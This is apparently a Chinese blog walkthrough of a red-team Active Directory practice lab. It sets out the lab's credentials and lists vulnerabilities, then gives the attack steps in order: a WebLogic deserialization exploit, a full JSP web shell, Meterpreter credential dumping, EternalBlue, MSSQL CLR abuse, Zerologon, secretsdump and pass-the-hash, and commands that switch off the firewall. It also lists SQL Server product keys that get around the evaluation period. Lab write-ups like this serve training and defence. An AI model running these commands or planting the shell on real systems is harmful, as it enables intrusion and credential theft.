渗透攻击红队内网域渗透靶场1

渗透过程概述:
1、信息收集-->weblogic反序列化漏洞getshell-->上线msf,提权
登录页发现weblogic版本信息,利用其反序列化漏洞,上线msf,提权,获取hash。
2、内网渗透-->sql server数据库服务器-->dc
利用永恒之蓝,win7上线msf,为保持稳定meterpreter,需执行后门,msf正向连接win7。
fscan信息收集或着mssql_login模块暴破ms sql密码,mssql_clr模块上线msf,sharpsqltools.exe执行后门,数据库服务器上线msf,dump hash。
利用 cve-2020-1472把域控密码打空,导出hash,smbexec.py获取域控权限。
https://www.cnblogs.com/huaflwr/p/15550313.html
解压密码:saulGoodman.cn@redteam.red
域控:Windows Server 2008 + IIS + Exchange 2013 邮件服务
目录还原密码:redteam!@#45
主机名:owa
域管理员: administrator:admin!@#45
域内服务器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非约束委派)
主机名:sqlserver-2008
本地管理员:Administrator:Admin12345
域账户:redteam\sqlserver:Server12345 (被配置了约束委派)
Mssql:sa:sa
域内个人 PC:Windows 7
主机名:work-7
本地管理员:john:admin!@#45
域账户:redteam\saul:admin!@#45
单机服务器:Windows server r2 + weblogic
主机名:weblogic
本地管理员:Administrator:Admin12345
weblogic :weblogic:weblogic123(访问 http://ip:7001)
weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd)
其他域用户:
域服务账户:redteam\sqlserver:Server12345 (被配置了约束委派)
邮件用户:redteam\mail:admin!@#45
加域账户:redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 (被配置了非约束委派)
redteam\gu:Gu12345
redteam\apt404:Apt12345
本靶场存在的漏洞:
GPP:admin:admin!@#45
存在 GPP 漏洞
存在 MS14-068
存在 CVE-2020-1472
Exchange 各种漏洞都可尝试
可尝试非约束委派
可尝试约束委派
存在 CVE-2019-1388
存在 CVE-2019-0708
... 还有很多漏洞都可尝试
1、信息收集
1.1 启动webLogic:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd
1.2 masscan+nmap 扫描端口:
masscan -p 1-65535 --rate=1000 192.168.1.103
1.3 打开登陆页面:
:7001/console/login/LoginForm.jsp
发现weblogic版本号:

2、漏洞挖掘【weblogic反序列化漏洞】
Java反序列化漏洞利用工具V1.7.jar

3、漏洞利用【反序列化漏洞getshell】
shell.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
shell地址:
http://192.168.1.103:7001//wls-wsat/shell.jsp
4、提权
4.1 上线msf,提权,hash dump
getsystem
migrate
load kiwi
cred_all
5、内网渗透【win7渗透】
5.1 信息收集
5.1.1 添加路由,设置代理,主机发现,端口扫描
添加路由:
run post/multi/manage/autoroute
设置全局代理:
use auxiliary/server/socks_proxy
setg proxies socks5:127.0.0.1:1080
setg ReverseAllowProxy true
主机发现:
run arp_scanner -r 10.10.20.0/24
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/smb/smb_version
端口扫描:
5.2 上线msf
5.2.1 利用ms17_010永恒之蓝,上线msf
search 17_010
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.20.7
set payload windows/x64/meterpreter/bind_tcp

5.2.2 ms17_010_eternalblue session不稳定
5.2.3 需要立即上传b.exe并执行,msf正向连接win7
upload b.exe c:\
shell
C:\>b.exe -----system权限执行
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.20.7
set lport 12346
run


6、横向移动【sql server数据库服务器渗透】
6.1 添加路由,主机发现,端口扫描
6.2 上传fscan.exe并执行,收集信息
fscan64.exe -h 10.10.10.18 -np
扫描到ms sql 账号密码 sa:sa

6.3 mssql_login 模块暴破ms sql密码
auxiliary/scanner/mssql/mssql_login
set rhosts 10.10.10.18
set pass_file 0password.txt
6.4 mssql_exec 模块执行命令
auxiliary/admin/mssql/mssql_exec
6.5 mssql_clr 模块上线msf
exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/bind_tcp

6.6 上传b.exe到可执行目录c:\users\public,提权失败
upload b.exe c:/users/public

getsystem 提权失败

6.7 sharpSQLTools.exe 获取ms sql系统权限
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato c:/users/public/b.exe
msf 正向连接。

6.8 进程迁移,hash dump,获取域管理员账号密码
getpid
migrate
load kiwi
creds_all

6、横向移动【dc渗透】
6.1 域控信息收集
net view /domain
net user /domain
net time /domain
ping owa.redteam.red
nslookup。。。
ipconfig /all




6.2 ipc连接域控,sc创建任务关闭防火墙失败
net use \\10.10.10.8\ipc$ admin!@#45 /user:administrator
dir \\10.10.10.8\c$
sc \\10.10.10.8 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"



6.3 利用psexec 模块登录域控失败,防火墙开着
exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set smbdomain redteam
set smbuser administrator
set smbpass admin!@#45

6.4 cve-2020-1472 把域控密码打空
search cve-2020-1472
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
set rhosts 10.10.10.8
set nbname owa
run

6.5 导出域控hash
【secretsdump.py 域名/域控机器名$@域控IP -just-dc -no-pass】
proxychains python3 secretsdump.py redteam.red/owa\$@10.10.10.8 -just-dc -no-pass
6.6 smbexec.py、wmiexec.py 获取域控权限
【smbexec.py -hashes LM:NTLM 域名/用户名@IP】
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c administrator@10.10.10.8
6.7 关闭防火墙,利用psexec模块,上线msf
netsh advfirewall set allprofiles state off

7、权限维持
8、痕迹清理
9、总结
杂记
1、mssql 过期解决:
打开sql server2008,出现报错“评估期已过。有关如何升级的测试版软件的信息:
运行>regedit,
修改注册表:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Microsoft SQL Server/100/ConfigurationState里的 CommonFiles 值改成 3
Developer: PTTFM-X467G-P7RH2-3Q6CG-4DMYB
Enterprise: JD8Y6-HQG69-P9H84-XDTPG-34MBB
2、frpc 设置socks5代理:
[common]#frpc配置
server_addr= VPS地址
server_port= 7000
[plugin_socks]
type= tcp
remote_port= 1080
plugin= socks5


浙公网安备 33010602011771号